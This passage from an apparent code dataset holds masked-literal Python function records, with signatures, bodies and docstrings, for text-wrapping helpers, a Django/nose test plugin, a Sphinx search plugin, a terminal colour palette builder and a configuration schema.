<NUM_LIT:1><EOL>s = indices.get(lastindex, None)<EOL>if s is None:<EOL><INDENT>continue<EOL><DEDENT>if len(s) == <NUM_LIT:1>:<EOL><INDENT>return lastindex + <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return -<NUM_LIT:1> if inword else foundindex<EOL>", "docstring": "This is a helper method for self.expand_words().\n            Finds the index of word endings (default is first word).\n            The last word doesn't count.\n            If there are no words, or there are no spaces in the word, it\n            returns -1.\n\n            This method ignores escape codes.\n            Example:\n                s = 'this is a test'\n                i = find_word_end(s, count=1)\n                print('-'.join((s[:i], s[i:])))\n                # 'this- is a test'\n                i = find_word_end(s, count=2)\n                print('-'.join((s[:i], s[i:])))\n                # 'this is- a test'", "id": "f9616:c0:m2"}
{"signature": "def format(<EOL>self, text=None,<EOL>width=<NUM_LIT>, chars=False, fill=False, newlines=False,<EOL>prepend=None, append=None, strip_first=False, strip_last=False,<EOL>lstrip=False):", "body": "<EOL>return '<STR_LIT:\\n>'.join(<EOL>self.iter_format_block(<EOL>(self.text if text is None else text) or '<STR_LIT>',<EOL>prepend=prepend,<EOL>append=append,<EOL>strip_first=strip_first,<EOL>strip_last=strip_last,<EOL>width=width,<EOL>chars=chars,<EOL>fill=fill,<EOL>newlines=newlines,<EOL>lstrip=lstrip<EOL>)<EOL>)<EOL>", "docstring": "Format a long string into a block of newline seperated text.\n            Arguments:\n                See iter_format_block().", "id": "f9616:c0:m3"}
{"signature": "def iter_add_text(self, lines, prepend=None, append=None):", "body": "if (prepend is None) and (append is None):<EOL><INDENT>yield from lines<EOL><DEDENT>else:<EOL><INDENT>fmtpcs = ['<STR_LIT>'] if prepend else []<EOL>fmtpcs.append('<STR_LIT>')<EOL>if append:<EOL><INDENT>fmtpcs.append('<STR_LIT>')<EOL><DEDENT>fmtstr = '<STR_LIT>'.join(fmtpcs)<EOL>yield from (<EOL>fmtstr.format(prepend=prepend, line=line, append=append)<EOL>for line in lines<EOL>)<EOL><DEDENT>", "docstring": "Prepend or append text to lines. Yields each line.", "id": "f9616:c0:m4"}
{"signature": "def iter_block(<EOL>self, text=None,<EOL>width=<NUM_LIT>, chars=False, newlines=False, lstrip=False):", "body": "text = (self.text if text is None else text) or '<STR_LIT>'<EOL>if width < <NUM_LIT:1>:<EOL><INDENT>width = <NUM_LIT:1><EOL><DEDENT>fmtline = str.lstrip if lstrip else str<EOL>if chars and (not newlines):<EOL><INDENT>yield from self.iter_char_block(<EOL>text,<EOL>width=width,<EOL>fmtfunc=fmtline<EOL>)<EOL><DEDENT>elif newlines:<EOL><INDENT>for line in text.split('<STR_LIT:\\n>'):<EOL><INDENT>yield from self.iter_block(<EOL>line,<EOL>width=width,<EOL>chars=chars,<EOL>lstrip=lstrip,<EOL>newlines=False,<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>yield from self.iter_space_block(<EOL>text,<EOL>width=width,<EOL>fmtfunc=fmtline,<EOL>)<EOL><DEDENT>", "docstring": "Iterator that turns a long string into lines no greater than\n            'width' in length.\n            It can wrap on spaces or characters. It only does basic blocks.\n            For prepending see `iter_format_block()`.\n\n            Arguments:\n                text     : String to format.\n                width    : Maximum width for each line.\n                           Default: 60\n                chars    : Wrap on characters if true, otherwise on spaces.\n                           Default: False\n                newlines : Preserve newlines when True.\n                           Default: False\n                lstrip   : Whether to remove leading spaces from each line.\n                           Default: False", "id": "f9616:c0:m5"}
{"signature": "def iter_char_block(self, text=None, width=<NUM_LIT>, fmtfunc=str):", "body": "if width < <NUM_LIT:1>:<EOL><INDENT>width = <NUM_LIT:1><EOL><DEDENT>text = (self.text if text is None else text) or '<STR_LIT>'<EOL>text = '<STR_LIT:U+0020>'.join(text.split('<STR_LIT:\\n>'))<EOL>escapecodes = get_codes(text)<EOL>if not escapecodes:<EOL><INDENT>yield from (<EOL>fmtfunc(text[i:i + width])<EOL>for i in range(<NUM_LIT:0>, len(text), width)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>blockwidth = <NUM_LIT:0><EOL>block = []<EOL>for i, s in enumerate(get_indices_list(text)):<EOL><INDENT>block.append(s)<EOL>if len(s) == <NUM_LIT:1>:<EOL><INDENT>blockwidth += <NUM_LIT:1><EOL><DEDENT>if blockwidth == width:<EOL><INDENT>yield '<STR_LIT>'.join(block)<EOL>block = []<EOL>blockwidth = <NUM_LIT:0><EOL><DEDENT><DEDENT>if block:<EOL><INDENT>yield '<STR_LIT>'.join(block)<EOL><DEDENT><DEDENT>", "docstring": "Format block by splitting on individual characters.", "id": "f9616:c0:m6"}
{"signature": "def iter_format_block(<EOL>self, text=None,<EOL>width=<NUM_LIT>, chars=False, fill=False, newlines=False,<EOL>append=None, prepend=None, strip_first=False, strip_last=False,<EOL>lstrip=False):", "body": "if fill:<EOL><INDENT>chars = False<EOL><DEDENT>iterlines = self.iter_block(<EOL>(self.text if text is None else text) or '<STR_LIT>',<EOL>width=width,<EOL>chars=chars,<EOL>newlines=newlines,<EOL>lstrip=lstrip,<EOL>)<EOL>if not (prepend or append):<EOL><INDENT>if fill:<EOL><INDENT>yield from (<EOL>self.expand_words(l, width=width) for l in iterlines<EOL>)<EOL><DEDENT>else:<EOL><INDENT>yield from iterlines<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if prepend:<EOL><INDENT>prependlen = len(prepend)<EOL><DEDENT>else:<EOL><INDENT>strip_first = False<EOL>prependlen = <NUM_LIT:0><EOL><DEDENT>if append:<EOL><INDENT>lines = list(iterlines)<EOL>lasti = len(lines) - <NUM_LIT:1><EOL>iterlines = (l for l in lines)<EOL>appendlen = len(append)<EOL><DEDENT>else:<EOL><INDENT>strip_last = False<EOL>appendlen = <NUM_LIT:0><EOL>lasti = -<NUM_LIT:1><EOL><DEDENT>for i, l in enumerate(self.iter_add_text(<EOL>iterlines,<EOL>prepend=prepend,<EOL>append=append)):<EOL><INDENT>if strip_first and (i == <NUM_LIT:0>):<EOL><INDENT>l = l[prependlen:]<EOL><DEDENT>elif strip_last and (i == lasti):<EOL><INDENT>l = l[:-appendlen]<EOL><DEDENT>if fill:<EOL><INDENT>yield self.expand_words(l, width=width)<EOL><DEDENT>else:<EOL><INDENT>yield l<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Iterate over lines in a formatted block of text.\n            This iterator allows you to prepend to each line.\n            For basic blocks see iter_block().\n\n\n            Arguments:\n                text        : String to format.\n\n                width       : Maximum width for each line. The prepend string\n                              is not included in this calculation.\n                              Default: 60\n\n                chars       : Whether to wrap on characters instead of spaces.\n                              Default: False\n                fill        : Insert spaces between words so that each line is\n                              the same width. This overrides `chars`.\n                              Default: False\n\n                newlines    : Whether to preserve newlines in the original\n                              string.\n                              Default: False\n\n                append      : String to append after each line.\n\n                prepend     : String to prepend before each line.\n\n                strip_first : Whether to omit the prepend string for the first\n                              line.\n                              Default: False\n\n                              Example (when using prepend='$'):\n                               Without strip_first -> '$this', '$that'\n                               With strip_first -> 'this', '$that'\n\n                strip_last  : Whether to omit the append string for the last\n                              line (like strip_first does for prepend).\n                              Default: False\n\n                lstrip      : Whether to remove leading spaces from each line.\n                              This doesn't include any spaces in `prepend`.\n                              Default: False", "id": "f9616:c0:m7"}
{"signature": "def iter_space_block(self, text=None, width=<NUM_LIT>, fmtfunc=str):", "body": "if width < <NUM_LIT:1>:<EOL><INDENT>width = <NUM_LIT:1><EOL><DEDENT>curline = '<STR_LIT>'<EOL>text = (self.text if text is None else text) or '<STR_LIT>'<EOL>for word in text.split():<EOL><INDENT>possibleline = '<STR_LIT:U+0020>'.join((curline, word)) if curline else word<EOL>codelen = sum(len(s) for s in get_codes(possibleline))<EOL>reallen = len(possibleline) - codelen<EOL>if reallen > width:<EOL><INDENT>yield fmtfunc(curline)<EOL>curline = word<EOL><DEDENT>else:<EOL><INDENT>curline = possibleline<EOL><DEDENT><DEDENT>if curline:<EOL><INDENT>yield fmtfunc(curline)<EOL><DEDENT>", "docstring": "Format block by wrapping on spaces.", "id": "f9616:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def squeeze_words(line, width=<NUM_LIT>):<DEDENT>", "body": "<EOL>while ('<STR_LIT:U+0020>' in line) and (len(line) > width):<EOL><INDENT>head, _, tail = line.rpartition('<STR_LIT:U+0020>')<EOL>line = '<STR_LIT:U+0020>'.join((head, tail))<EOL><DEDENT>return line<EOL>", "docstring": "Remove spaces in between words until it is small enough for\n            `width`.\n            This will always leave at least one space between words,\n            so it may not be able to get below `width` characters.", "id": "f9616:c0:m9"}
{"signature": "def get_codes(s: Any) -> List[str]:", "body": "return codegrabpat.findall(str(s))<EOL>", "docstring": "Grab all escape codes from a string.\n        Returns a list of all escape codes.", "id": "f9617:m0"}
{"signature": "def get_code_indices(s: Any) -> Dict[int, str]:", "body": "indices = {}<EOL>i = <NUM_LIT:0><EOL>codes = get_codes(s)<EOL>for code in codes:<EOL><INDENT>codeindex = s.index(code)<EOL>realindex = i + codeindex<EOL>indices[realindex] = code<EOL>codelen = len(code)<EOL>i = realindex + codelen<EOL>s = s[codeindex + codelen:]<EOL><DEDENT>return indices<EOL>", "docstring": "Retrieve a dict of {index: escape_code} for a given string.\n        If no escape codes are found, an empty dict is returned.", "id": "f9617:m1"}
{"signature": "def get_indices(s: Any) -> Dict[int, str]:", "body": "codes = get_code_indices(s)<EOL>if not codes:<EOL><INDENT>return {i: c for i, c in enumerate(s)}<EOL><DEDENT>indices = {}<EOL>for codeindex in sorted(codes):<EOL><INDENT>code = codes[codeindex]<EOL>if codeindex == <NUM_LIT:0>:<EOL><INDENT>indices[codeindex] = code<EOL>continue<EOL><DEDENT>start = max(indices or {<NUM_LIT:0>: '<STR_LIT>'}, key=int)<EOL>startcode = indices.get(start, '<STR_LIT>')<EOL>startlen = start + len(startcode)<EOL>indices.update({i: s[i] for i in range(startlen, codeindex)})<EOL>indices[codeindex] = code<EOL><DEDENT>if not indices:<EOL><INDENT>return {i: c for i, c in enumerate(s)}<EOL><DEDENT>lastindex = max(indices, key=int)<EOL>lastitem = indices[lastindex]<EOL>start = lastindex + len(lastitem)<EOL>textlen = len(s)<EOL>if start < (textlen - <NUM_LIT:1>):<EOL><INDENT>indices.update({i: s[i] for i in range(start, textlen)})<EOL><DEDENT>return indices<EOL>", "docstring": "Retrieve a dict of characters and escape codes with their real index\n        into the string as the key.", "id": "f9617:m2"}
{"signature": "def get_indices_list(s: Any) -> List[str]:", "body": "indices = get_indices(s)<EOL>return [<EOL>indices[i] for i in sorted(indices, key=int)<EOL>]<EOL>", "docstring": "Retrieve a list of characters and escape codes where each escape\n        code uses only one index. The indexes will not match up with the\n        indexes in the original string.", "id": "f9617:m3"}
{"signature": "def is_escape_code(s: Any) -> bool:", "body": "return codepat.match(str(s)) is not None<EOL>", "docstring": "Returns True if `s` appears to be any kind of escape code.", "id": "f9617:m4"}
{"signature": "def strip_codes(s: Any) -> str:", "body": "return codepat.sub('<STR_LIT>', str(s) if (s or (s == <NUM_LIT:0>)) else '<STR_LIT>')<EOL>", "docstring": "Strip all color codes from a string.\n        Returns empty string for \"falsey\" inputs.", "id": "f9617:m5"}
{"signature": "def get_settings_path(settings_module):", "body": "cwd = os.getcwd()<EOL>settings_filename = '<STR_LIT>' % (<EOL>settings_module.split('<STR_LIT:.>')[-<NUM_LIT:1>]<EOL>)<EOL>while cwd:<EOL><INDENT>if settings_filename in os.listdir(cwd):<EOL><INDENT>break<EOL><DEDENT>cwd = os.path.split(cwd)[<NUM_LIT:0>]<EOL>if os.name == '<STR_LIT>' and NT_ROOT.match(cwd):<EOL><INDENT>return None<EOL><DEDENT>elif cwd == '<STR_LIT:/>':<EOL><INDENT>return None<EOL><DEDENT><DEDENT>return cwd<EOL>", "docstring": "Hunt down the settings.py module by going up the FS path", "id": "f9619:m0"}
{"signature": "def _dummy(*args, **kwargs):", "body": "return<EOL>", "docstring": "Dummy function that replaces the transaction functions", "id": "f9619:m1"}
{"signature": "def begin(self):", "body": "for plugin in self.nose_config.plugins.plugins:<EOL><INDENT>if getattr(plugin, '<STR_LIT>', False):<EOL><INDENT>self.django_plugins.append(plugin)<EOL><DEDENT><DEDENT>os.environ['<STR_LIT>'] = self.settings_module<EOL>if self.conf.addPaths:<EOL><INDENT>map(add_path, self.conf.where)<EOL><DEDENT>try:<EOL><INDENT>__import__(self.settings_module)<EOL>self.settings_path = self.settings_module<EOL><DEDENT>except ImportError:<EOL><INDENT>self.settings_path = get_settings_path(self.settings_module)<EOL>if not self.settings_path:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>add_path(self.settings_path)<EOL>sys.path.append(self.settings_path)<EOL><DEDENT>from django.conf import settings<EOL>settings.DEBUG = False<EOL>self.call_plugins_method('<STR_LIT>', settings)<EOL>from django.core import management<EOL>from django.test.utils import setup_test_environment<EOL>if hasattr(settings, '<STR_LIT>'):<EOL><INDENT>self.old_db = settings.DATABASES['<STR_LIT:default>']['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>self.old_db = settings.DATABASE_NAME<EOL><DEDENT>from django.db import connections<EOL>self._monkeypatch_test_classes()<EOL>for connection in connections.all():<EOL><INDENT>self.call_plugins_method(<EOL>'<STR_LIT>', settings, setup_test_environment,<EOL>connection)<EOL><DEDENT>try:<EOL><INDENT>setup_test_environment()<EOL><DEDENT>except RuntimeError:  <EOL><INDENT>pass<EOL><DEDENT>import django<EOL>if hasattr(django, '<STR_LIT>'):<EOL><INDENT>django.setup()<EOL><DEDENT>self.call_plugins_method('<STR_LIT>', settings)<EOL>management.get_commands()<EOL>if self.django_version < self.DJANGO_1_7:<EOL><INDENT>management._commands['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>for connection in connections.all():<EOL><INDENT>self.call_plugins_method(<EOL>'<STR_LIT>', settings, connection, management)<EOL>connection.creation.create_test_db(<EOL>verbosity=self.verbosity,<EOL>autoclobber=True,<EOL>)<EOL>logger.debug(\"<STR_LIT>\")<EOL>self._num_syncdb_calls += <NUM_LIT:1><EOL>self.call_plugins_method('<STR_LIT>', settings, connection)<EOL><DEDENT>self.store_original_transaction_methods()<EOL>", "docstring": "Create the test database and schema, if needed, and switch the\nconnection over to that database. Then call install() to install\nall apps listed in the loaded settings module.", "id": "f9619:c1:m17"}
{"signature": "def finalize(self, result=None):", "body": "if not self.settings_path:<EOL><INDENT>return<EOL><DEDENT>from django.test.utils import teardown_test_environment<EOL>from django.db import connection<EOL>from django.conf import settings<EOL>self.call_plugins_method('<STR_LIT>', settings, connection)<EOL>try:<EOL><INDENT>connection.creation.destroy_test_db(<EOL>self.old_db,<EOL>verbosity=self.verbosity,<EOL>)<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>self.call_plugins_method('<STR_LIT>', settings, connection)<EOL>self.call_plugins_method(<EOL>'<STR_LIT>', settings, teardown_test_environment)<EOL>teardown_test_environment()<EOL>self.call_plugins_method('<STR_LIT>', settings)<EOL>", "docstring": "Clean up any created database and schema.", "id": "f9619:c1:m24"}
{"signature": "def get_unique_token(self):", "body": "if self._unique_token is None:<EOL><INDENT>self._unique_token = self._random_token()<EOL><DEDENT>return self._unique_token<EOL>", "docstring": "Get a unique token for usage in differentiating test runs that need to\nrun in parallel.", "id": "f9621:c0:m0"}
{"signature": "def _random_token(self, bits=<NUM_LIT>):", "body": "alphabet = string.ascii_letters + string.digits + '<STR_LIT>'<EOL>num_letters = int(math.ceil(bits / <NUM_LIT>))<EOL>return '<STR_LIT>'.join(random.choice(alphabet) for i in range(num_letters))<EOL>", "docstring": "Generates a random token, using the url-safe base64 alphabet.\nThe \"bits\" argument specifies the bits of randomness to use.", "id": "f9621:c0:m1"}
{"signature": "def afterRollback(self, settings):", "body": "self.clear_test_media()<EOL>", "docstring": "After every test, we want to empty the media directory so that media\nleft over from one test doesn't affect a later test.", "id": "f9622:c0:m1"}
{"signature": "def options(self, parser, env=None):", "body": "if env is None:<EOL><INDENT>env = os.environ<EOL><DEDENT>parser.add_option(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>)<EOL>super(SphinxSearchPlugin, self).options(parser, env)<EOL>", "docstring": "Sphinx config file that can optionally take the following python\ntemplate string arguments:\n\n``database_name``\n``database_password``\n``database_username``\n``database_host``\n``database_port``\n``sphinx_search_data_dir``\n``searchd_log_dir``", "id": "f9626:c0:m1"}
{"signature": "def _wait_for_connection(self, port):", "body": "connected = False<EOL>max_tries = <NUM_LIT:10><EOL>num_tries = <NUM_LIT:0><EOL>wait_time = <NUM_LIT:0.5><EOL>while not connected or num_tries >= max_tries:<EOL><INDENT>time.sleep(wait_time)<EOL>try:<EOL><INDENT>af = socket.AF_INET<EOL>addr = ('<STR_LIT:127.0.0.1>', port)<EOL>sock = socket.socket(af, socket.SOCK_STREAM)<EOL>sock.connect(addr)<EOL><DEDENT>except socket.error:<EOL><INDENT>if sock:<EOL><INDENT>sock.close()<EOL><DEDENT>num_tries += <NUM_LIT:1><EOL>continue<EOL><DEDENT>connected = True<EOL><DEDENT>if not connected:<EOL><INDENT>print(\"<STR_LIT>\", file=sys.stderr)<EOL><DEDENT>", "docstring": "Wait until we can make a socket connection to sphinx.", "id": "f9626:c0:m8"}
{"signature": "def func():", "body": "pass<EOL>", "docstring": "Function-level test\n    >>> 1+3\n    4", "id": "f9640:m0"}
{"signature": "def __str__(self):", "body": "return self.name<EOL>", "docstring": "Function in class test\n>>> 1 + 2\n3", "id": "f9640:c0:m0"}
{"signature": "def is_valid_identifier(name):", "body": "if not isinstance(name, str):<EOL><INDENT>return False<EOL><DEDENT>if '<STR_LIT:\\n>' in name:<EOL><INDENT>return False<EOL><DEDENT>if name.strip() != name:<EOL><INDENT>return False<EOL><DEDENT>try:<EOL><INDENT>code = compile('<STR_LIT>'.format(name), filename='<STR_LIT>', mode='<STR_LIT>')<EOL>exec(code)<EOL>return True<EOL><DEDENT>except SyntaxError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Pedantic yet imperfect. Test to see if \"name\" is a valid python identifier", "id": "f9667:m0"}
{"signature": "def make_body(self, data):", "body": "", "docstring": "please implement", "id": "f9670:c1:m1"}
{"signature": "def callback(self):", "body": "", "docstring": "please implement", "id": "f9670:c1:m4"}
{"signature": "@classmethod<EOL><INDENT>def from_config(<EOL>cls, cfg,<EOL>default_fg=DEFAULT_FG_16, default_bg=DEFAULT_BG_16,<EOL>default_fg_hi=DEFAULT_FG_256, default_bg_hi=DEFAULT_BG_256,<EOL>max_colors=<NUM_LIT:2>**<NUM_LIT><EOL>):<DEDENT>", "body": "<EOL>e = PaletteEntry(mono = default_fg,<EOL>foreground=default_fg,<EOL>background=default_bg,<EOL>foreground_high=default_fg_hi,<EOL>background_high=default_bg_hi)<EOL>if isinstance(cfg, str):<EOL><INDENT>e.foreground_high = cfg<EOL>if e.allowed(cfg, <NUM_LIT:16>):<EOL><INDENT>e.foreground = cfg<EOL><DEDENT>else:<EOL><INDENT>rgb = AttrSpec(fg=cfg, bg=\"<STR_LIT>\", colors=max_colors).get_rgb_values()[<NUM_LIT:0>:<NUM_LIT:3>]<EOL>e.foreground = nearest_basic_color(rgb)<EOL><DEDENT><DEDENT>elif isinstance(cfg, dict):<EOL><INDENT>bg = cfg.get(\"<STR_LIT>\", None)<EOL>if isinstance(bg, str):<EOL><INDENT>e.background_high = bg<EOL>if e.allowed(bg, <NUM_LIT:16>):<EOL><INDENT>e.background = bg<EOL><DEDENT>else:<EOL><INDENT>rgb = AttrSpec(fg=bg, bg=\"<STR_LIT>\", colors=max_colors).get_rgb_values()[<NUM_LIT:0>:<NUM_LIT:3>]<EOL>e.background = nearest_basic_color(rgb)<EOL><DEDENT><DEDENT>elif isinstance(bg, dict):<EOL><INDENT>e.background_high = bg.get(\"<STR_LIT>\", default_bg_hi)<EOL>if \"<STR_LIT>\" in bg:<EOL><INDENT>if e.allowed(bg[\"<STR_LIT>\"], <NUM_LIT:16>):<EOL><INDENT>e.background = bg[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>rgb = AttrSpec(fg=bg[\"<STR_LIT>\"], bg=\"<STR_LIT>\", colors=max_colors).get_rgb_values()[<NUM_LIT:0>:<NUM_LIT:3>]<EOL>e.background = nearest_basic_color(rgb)<EOL><DEDENT><DEDENT><DEDENT>fg = cfg.get(\"<STR_LIT>\", cfg)<EOL>if isinstance(fg, str):<EOL><INDENT>e.foreground_high = fg<EOL>if e.allowed(fg, <NUM_LIT:16>):<EOL><INDENT>e.foreground = fg<EOL><DEDENT>else:<EOL><INDENT>rgb = AttrSpec(fg=fg, bg=\"<STR_LIT>\", colors=max_colors).get_rgb_values()[<NUM_LIT:0>:<NUM_LIT:3>]<EOL>e.foreground = nearest_basic_color(rgb)<EOL><DEDENT><DEDENT>elif isinstance(fg, dict):<EOL><INDENT>e.foreground_high = fg.get(\"<STR_LIT>\", default_fg_hi)<EOL>if \"<STR_LIT>\" in fg:<EOL><INDENT>if e.allowed(fg[\"<STR_LIT>\"], <NUM_LIT:16>):<EOL><INDENT>e.foreground = fg[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>rgb = AttrSpec(fg=fg[\"<STR_LIT>\"], bg=\"<STR_LIT>\", colors=max_colors).get_rgb_values()[<NUM_LIT:0>:<NUM_LIT:3>]<EOL>e.foreground = nearest_basic_color(rgb)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return e<EOL>", "docstring": "Build a palette definition from either a simple string or a dictionary,\nfilling in defaults for items not specified.\n\ne.g.:\n    \"dark green\"\n        dark green foreground, black background\n\n    {lo: dark gray, hi: \"#666\"}\n        dark gray on 16-color terminals, #666 for 256+ color", "id": "f9671:c0:m1"}
{"signature": "def check_import_dashboard_stackexchange(elastic_url, import_file, es_index=None,<EOL>data_sources=None, add_vis_studies=False, strict=False):", "body": "if \"<STR_LIT>\" in data_sources and \"<STR_LIT>\" not in data_sources:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Check that stackexchange data sources adds also stackoverflow\n        data source which is the name used in panels", "id": "f9677:m0"}
{"signature": "def __init__(self, conf_file, conf_list=[]):", "body": "self.conf_list = [conf_file] + conf_list<EOL>self.raw_conf = None<EOL>self.__read_conf_files()<EOL>", "docstring": "Initialize object.\n\n        The object can be initialized with a configuration file,\n        and, optionally, with a list of other configuration files.\n        If the list of other configuration files exist, it will\n        be read, in order, after the configuration file.\n        Values set in a file read later will overwrite values set\n        in files read earlier. Values not set by any file will\n        be set to the default values, when possible.\n\n        :param conf_file; configuration file name\n        :param conf_list: list of other configuration files (default: empty)", "id": "f9685:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def general_params(cls):<DEDENT>", "body": "params = {}<EOL>params_general = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": <NUM_LIT>,<EOL>\"<STR_LIT:type>\": int,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": False,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": True,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": \"<STR_LIT:file>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": <NUM_LIT>,  <EOL>\"<STR_LIT:type>\": int,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": <NUM_LIT:5>,<EOL>\"<STR_LIT:type>\": int,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": <NUM_LIT:1000>,<EOL>\"<STR_LIT:type>\": int,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": <NUM_LIT:100>,<EOL>\"<STR_LIT:type>\": int,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": ALIASES_JSON,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": MENU_YAML,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": None,<EOL>\"<STR_LIT:type>\": int,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>}<EOL>}<EOL>}<EOL>params_projects = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": PROJECTS_JSON,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": None,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": False,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>}<EOL>}<EOL>}<EOL>params_phases = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": True,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": True,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": True,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": True,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": False,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": False,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>}<EOL>}<EOL>}<EOL>general_config_params = [params_general, params_projects, params_phases]<EOL>for section_params in general_config_params:<EOL><INDENT>params.update(section_params)<EOL><DEDENT>params_collection = {<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT:password>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": None,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT:user>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": None,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT:url>\": {<EOL>\"<STR_LIT>\": False,<EOL>\"<STR_LIT:default>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": False,<EOL>\"<STR_LIT:type>\": bool,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": None,<EOL>\"<STR_LIT:type>\": str,<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\"<EOL>},<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": True,<EOL>\"<STR_LIT:default>\": 